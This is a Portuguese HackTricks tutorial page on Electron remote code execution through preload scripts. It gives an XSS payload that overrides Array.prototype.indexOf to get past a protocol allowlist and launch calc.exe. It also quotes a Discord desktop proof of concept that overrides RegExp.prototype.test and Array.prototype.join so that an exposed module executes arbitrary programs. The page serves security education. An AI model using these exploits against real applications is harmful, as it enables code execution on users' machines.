5.9 KiB
Electron contextIsolation RCE via código de preload
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Participe do grupo 💬 Discord ou do grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Exemplo 1
Este código abre links http(s) com o navegador padrão:
Algo como file:///C:/Windows/systemd32/calc.exe
poderia ser usado para executar uma calculadora, o SAFE_PROTOCOLS.indexOf
está prevenindo isso.
Portanto, um atacante poderia injetar este código JS via XSS ou navegação arbitrária de página:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Como a chamada para SAFE_PROTOCOLS.indexOf
sempre retornará 1337, o atacante pode contornar a proteção e executar o calc. Exploit final:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Confira os slides originais para outras maneiras de executar programas sem um aviso pedindo permissões.
Aparentemente, outra maneira de carregar e executar código é acessar algo como file://127.0.0.1/electron/rce.jar
Exemplo 2: Discord App RCE
Exemplo de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Ao verificar os scripts de preload, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via DiscordNative.nativeModules.requireModule('MODULE-NAME')
, na página web.
Aqui, eu não pude usar módulos que podem ser usados para RCE diretamente, como o módulo child_process, mas eu encontrei um código onde o RCE pode ser alcançado sobrescrevendo os métodos internos do JavaScript e interferindo na execução do módulo exposto.
A seguir está o PoC. Eu consegui confirmar que o aplicativo calc é aberto quando eu chamo a função getGPUDriverVersions
que é definida no módulo chamado "discord_utils" do devTools, enquanto sobrescrevo o RegExp.prototype.test
e o Array.prototype.join
.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
A função getGPUDriverVersions
tenta executar o programa usando a biblioteca "execa", da seguinte forma:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Normalmente, o execa tenta executar "nvidia-smi.exe", que é especificado na variável nvidiaSmiPath
, no entanto, devido à substituição de RegExp.prototype.test
e Array.prototype.join
, o argumento é substituído por "calc" no processamento interno do _execa_**.
Especificamente, o argumento é substituído alterando as seguintes duas partes.
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.